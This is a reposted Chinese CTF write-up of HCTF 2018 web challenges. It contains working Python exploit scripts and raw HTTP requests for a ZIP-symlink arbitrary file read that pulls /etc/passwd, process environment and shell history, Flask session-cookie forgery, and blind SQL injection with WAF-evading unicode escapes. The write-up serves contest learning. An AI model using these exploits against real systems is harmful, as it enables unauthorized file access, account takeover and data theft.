HCTF 2018 Web Write-up

栏目: Python · 发布时间: 5年前

内容简介:以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。文件读取

HCTF 2018

以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。

HCTF 2018 Web Write-up

Warmup

文件读取

http://warmup.2018.hctf.io/index.php?file=source.php%3f../../../../../../../ffffllllaaaagggg

Hide and seek

第一天看了半天,总感觉这个题缺少条件。然后,出题人修修补补,改了又改,心累。最后考察的知识点也没啥营养性,感觉比较无趣。

很奇怪,为啥现在大家出题都不会自己测一下环境有没有问题,直接就上线了…

docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek

第一个知识点,ZIP 软连接解压,可以任意文件读取。

HTTP包如下

POST /upload HTTP/1.1
Host: hideandseek.2018.hctf.io
User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------14689847831755241969368914144
Content-Length: 515
Referer: http://hideandseek.2018.hctf.io/
Cookie: session=eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------14689847831755241969368914144
Content-Disposition: form-data; name="the_file"; filename="hellow.zip"
Content-Type: application/zip

PK
kjM
¹)linkUT	—kæ[—kæ[ux÷/etc/passwdPK
kjM
¹)í¡linkUT—kæ[ux÷PKJI
-----------------------------14689847831755241969368914144
Content-Disposition: form-data; name="submit"

Submit
-----------------------------14689847831755241969368914144--

写了一个EXP批量文件读取:

import requests
import random 
import os
import string
import time
import zipfile
import sys

def generate_zip(path,i):
    zip_name =  'moxiaoxi'+str(i)+'.zip'
    link_namme = 'moxiaoxi'+str(i)
    os.system("ln -s {} {}".format(path,link_namme))
    print "ln -s {} {}".format(path,link_namme)
    os.system("zip -y {} {}".format(zip_name,link_namme))
    with open(zip_name,'r') as f:
        data = f.read()
    return zip_name,data



def exp(path,i):
    zip_name,data = generate_zip(path,i)
    # zip_name,data = rewrite(path,i)
    session = requests.Session()
    paramsPost = {"submit":"Submit"}
    paramsMultipart = [('the_file', (zip_name, data, 'application/zip'))]
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36","Referer":"http://hideandseek.2018.hctf.io/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1"}
    cookies = {"session":"eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI"}
    response = session.post("http://hideandseek.2018.hctf.io/upload", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)

    print("Status code:   %i" % response.status_code)
    print("Response body: %s" % response.content)
    if len(response.content)>5:
        # print("Response body: %s" % response.content)
        with open('out.txt','a+') as f:
            f.write('\n\n{}\n\n{}'.format(path,response.content)) 


if __name__=='__main__':
    name =  'test'+''.join(random.sample(string.ascii_letters + string.digits, 4))
    exp(sys.argv[1],name)

一开始,出题人环境没配好,可以读取/root/.bash_history,还蛮有趣,监控出题人操作。

$ python hideandseek.py /root/.bash_history
ln -s /root/.bash_history moxiaoxitestkYcG
  adding: moxiaoxitestkYcG (stored 0%)
Status code:   200
Response body: ls
curl http://127.0.0.1:80
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log
ps
ps -A
kill 86
ps -A
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log
ls
cd uploads/
ls
rm 1.zip
ls
cd dead_z3r0_a230418bbeaf0c06f83a51f6ff9d9b8caf23dc6a3aa4b9fa3f6ab9b85cff2212.zip_/
ls
ls -l
file dead_z3r0
cd ..
cd ..
ls
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +4000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +12000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +40000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +30000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +35000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +38000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +37000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36500 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +5000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +80000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +300000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 10000| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 10000| grep linking
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking
ps -A
exit
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking
cat /etc/passwd
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uwsgi'
cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uw'
cat /app/hard_t0_guess_dkp2s6d9sa/hard_t0_guess_also_9u5c_main.py
exit

正解应该先读取/proc/self/environ,得到路径。然后读取main函数。

很期待uwsgi+nginx+flask环境的组合问题,可惜…

python hideandseek.py /proc/self/environ 
ln -s /proc/self/environ moxiaoxitestzGFp
  adding: moxiaoxitestzGFp (stored 0%)
Status code:   200
Response body: UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=e04ab7732827SHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
python hideandseek.py /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini moxiaoxitestE5jc
  adding: moxiaoxitestE5jc (stored 0%)
Status code:   200
Response body: [uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

得到源码:

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

关注random.seed(uuid.getnode()) ,uuid.getnode()是取mac地址转换的,所以为固定值。 我们只需要读取远程mac地址,然后本地搭建一个环境,伪造一波就好。这里伪造的时候,需要注意 python 版本为python3.

# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/ZIP [13:13:39]
$ python hideandseek.py /sys/class/net/eth0/address
ln -s /sys/class/net/eth0/address moxiaoxitestTL7W
  adding: moxiaoxitestTL7W (stored 0%)
Status code:   200
Response body: 12:34:3e:14:7c:62

https://www.vultr.com/tools/mac-converter/?mac_address=02%3A42%3Aa2%3A2a%3A1e%3A42

seed为20015589129314,

GET / HTTP/1.1
Host: hideandseek.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-e7Sw.IvMRaI59t9NWnTGtNbJn0oBkMmY
Connection: close

HCTF 2018 Web Write-up

Admin

docker 环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/admin

这题的思路和Hide and seek一样。

首先,源码泄漏https://github.com/woadsl1234/hctf_flask/

替换登陆name为admin。然后,登陆一下,得到加密的cookie

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = 'admin'#name
        print session
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

与远程交互,替换一下cookie就可以得到flag

GET /index HTTP/1.1
Host: admin.2018.hctf.io
User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://admin.2018.hctf.io/login
Cookie: session=.eJxFkMuKwkAQRX9l6LWLpEc3ARdKYnCgqjF0DF0byWg06YcDUUls8d-nkcFZFFw4cLi3Hmx37JtLy5Jrf2smbNcdWPJgH98sYSI1d8q3Fh3MSGef5LJRpKtO5JuI5FaLSk2FhClKNUO_GdGpKNwdZDmgzDi4TQQui0WejSpkJU8D6qIl2Vr0EEP-pUEHZ04tSDIiL6ySJadq1YIvPTiIUC-t4qUPjkHIxUgOOLp1DPJgSS8GUWHwlXP2nLD9pT_urj-mOb8nKL3nlFqLPMzQJlZBh-nSUKU86pMntw71TYxpGWpsLTk0YjF_6TpXn5q3CXgh4Y-ca_cPVFVc62r6ArdL078-yOKIPX8BlRpvtQ.W-bNtA.azJFSmLfN1OcVVz3Lg5pLV5WlMw; remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

得到flag

HCTF 2018 Web Write-up

kzone

docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/kzone

同理,源码泄漏

http://kzone.2018.hctf.io/www.zip

审计,需要修改userAgent为QQ,比较好看题

(function () {
            var sUserAgent = navigator.userAgent.toLowerCase();
            if (sUserAgent.match(/QQ/i) != 'qq') {
                window.location.href = 'https://qzone.qq.com';
            }
        })();

在member.php存在注入。主要区别在于setcookie.如果查询语句正常,只会出现两个setcookie。否则为四个。

if (isset($_COOKIE["islogin"])) {
    if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }
}

注入点,查询出错,会出现4个setcookie,否则为两个setcookie

写脚本注入admin

import requests
import string

def test_once(index,s):
    session = requests.Session()
    paramsPost = {"login":"Login","pass":"1","user":"admin"}
    cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
    response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
    flag = response.headers['Set-Cookie'].count('islogin')
    if flag == 1:
        print(index,s,'yes')
        return True
    elif flag == 2:
        print(index,s,'no')
    else:
        print('[-] may be error,{}'.format(s))
    return False

def hack():
    ss = string.printable
    num = 41
    flag = ''
    end = 0
    i = 1
    for i in range(1,num):
        for s in ss:
            if test_once(i,s+flag):
                flag = s+flag
                break
        print flag
    print flag

if __name__=='__main__':
    hack()
    # test_once(1,'6')

发现被改的没办法反解。

尝试伪造登陆了一波,发现登陆后也没什么东西。

POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://kzone.2018.hctf.io/admin/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Cookie: islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"}
Connection: close
Upgrade-Insecure-Requests: 1

user=admin&pass=moxiaoxi111&login=Login

后面在数据库里翻到了flag。

import requests
import string

def get_payload():
    # s = "admin' and ((select count(*) from information_schema.tables where table_schema='hctf_kouzone')=5);"
    # s = """select 1 from information_schema.tables where table_schema='hctf_kouzone' and table_name='fish_admin'"""
    # s = """select (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='hctf_kouzone' limit 0,1)=10"""
    # s = """select (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='hctf_kouzone' and table_name='F1444g' limit 0,1)=10"""
    s = """select (select ascii(substr(F1a9,1,1)) from F1444g limit 0,1)=10"""
    s = "admin' and ({});".format(s)
    print "select * from fish_admin where username='{}".format(s)
    s = s.replace(';','\u0023')
    s = s.replace(' ','/**/')
    print s
    s = s.replace('or','\u006fr')
    s = s.replace('=','\u003d')
    s = s.replace("sub","\u0073\u0075\u0062")
    s = s.replace('ascii','\u0061\u0073\u0063\u0069\u0069')
    print s
    return s

def test_once(index,s):
    session = requests.Session()
    paramsPost = {"login":"Login","pass":"1","user":"admin"}
    # cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
    # payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(table_name,{},1))/**/from/**/inf\u006frmation_schema.tables/**/where/**/table_schema\u003d'hctf_kouzone'/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
    # F1444g
    # payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(column_name,{},1))/**/from/**/inf\u006frmation_schema.columns/**/where/**/table_schema\u003d'hctf_kouzone'/**/and/**/table_name\u003d'F1444g'/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
    # F1a9
    payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(F1a9,{},1))/**/from/**/F1444g/**/limit/**/0,1)\u003d{})\u0023".format(index,s)
    cookies = {"login_data":"{\"admin_user\":\""+payload+"\",\"admin_pass\":\"2\"}","islogin":"1"}
    # cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
    response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
    flag = response.headers['Set-Cookie'].count('islogin')
    if flag == 1:
        print(index,s,'yes')
        return True
    elif flag == 2:
        print(index,s,'no')
    else:
        print('[-] may be error,{}'.format(s))
    return False





def hack():
    ss = string.printable
    num = 41
    flag = ''
    end = 0
    i = 1
    for i in range(1,num):
        for s in ss:
            if test_once(i,ord(s)):
                flag += s
                break
            
        print flag
    print flag


if __name__=='__main__':
    # hack()
    # test_once(1,'6')
    # get_payload()
    hack()

这题有趣的点在于 $login_data = json_decode($_COOKIE['login_data'], true); 直接bypass waf。

Share

扫描得到robots.txt 源码

http://share.2018.hctf.io/robots.txt

/* this terrible code */
class FileController < ApplicationController
  before_action :authenticate_user!
  before_action :authenticate_role
  before_action :authenticate_admin
  protect_from_forgery :except => [:upload , :share_people_test]

# post /file/upload
  def upload
    if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
      file = params[:file][:myfile]
      name = Base64.decode64(file.original_filename)
      ext = name.split('.')[-1]
      if ext == name || ext ==nil
        ext=""
      end
      share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
      share.write(Base64.decode64(file.read))
      share.close
      File.rename(share.path,share.path+"."+ext)
      tmp = Sharefile.new
      tmp.public = 0
      tmp.path = share.path
      tmp.name = name
      tmp.tempname= share.path.split('/')[-1]+"."+ext
      tmp.context = params[:file][:context]
      tmp.save
    end
    redirect_to root_path
  end

# post /file/Alpha_test
  def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
      fid = params[:fid].to_i
      uid = params[:uid].to_i
      if(fid > 0 && uid > 0)
        if(Sharelist.find_by(sharefile_id: fid)==nil)
          if(Sharelist.count("user_id = ?", uid.to_s) <5)
            share = Sharelist.new
            share.sharefile_id = fid
            share.user_id = uid
            share.save
          end
        end
      end
    end
    redirect_to(root_path)
  end

  def share_file_to_all
    file = Sharefile.find(params[:fid])
    File.rename(file.path,Rails.root+"/public/download/"+file.name)
    file.public = true
    file.path = Rails.root+"/public/download/"+file.name
    file.save
  end

end
views
|-- devise
|   |-- confirmations
|   |-- mailer
|   |-- passwords
|   |-- registrations
|   |   `-- new.html.erb
|   |-- sessions
|   |   `-- new.html.erb
|   |-- shared
|   `-- unlocks
|-- file
|-- home
|   |-- Alphatest.erb
|   |-- addtest.erb
|   |-- home.erb
|   |-- index.html.erb
|   |-- publiclist.erb
|   |-- share.erb
|   `-- upload.erb
|-- layouts
|   |-- application.html.erb
|   |-- mailer.html.erb
|   `-- mailer.text.erb
`-- recommend
     `-- show.erb
# post /file/Alpha_test
  def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
      fid = params[:fid].to_i
      uid = params[:uid].to_i
      if(fid > 0 && uid > 0)
        if(Sharelist.find_by(sharefile_id: fid)==nil)
          if(Sharelist.count("user_id ="+ uid.to_s) <5)
            share = Sharelist.new
            share.sharefile_id = fid
            share.user_id = uid
            share.save
          end
        end
      end
    end
    redirect_to(root_path)
  end

后续看WP,有趣则补。

Game

逻辑问题

http://game.2018.hctf.io/web2/user.php?order=password

可以看到password的排序。可以疯狂注册用户,通过密码逐位与admin密码比较,从而得到admin密码。

bestrong

后续看WP,有趣则补。

bottle

后续看WP,有趣则补。


以上所述就是小编给大家介绍的《HCTF 2018 Web Write-up》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web Analytics 2.0

Web Analytics 2.0

Avinash Kaushik / Sybex / 2009-10-26 / USD 39.99

The bestselling book Web Analytics: An Hour A Day was the first book in the analytics space to move beyond clickstream analysis. Web Analytics 2.0 will significantly evolve the approaches from the fir......一起来看看 《Web Analytics 2.0》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具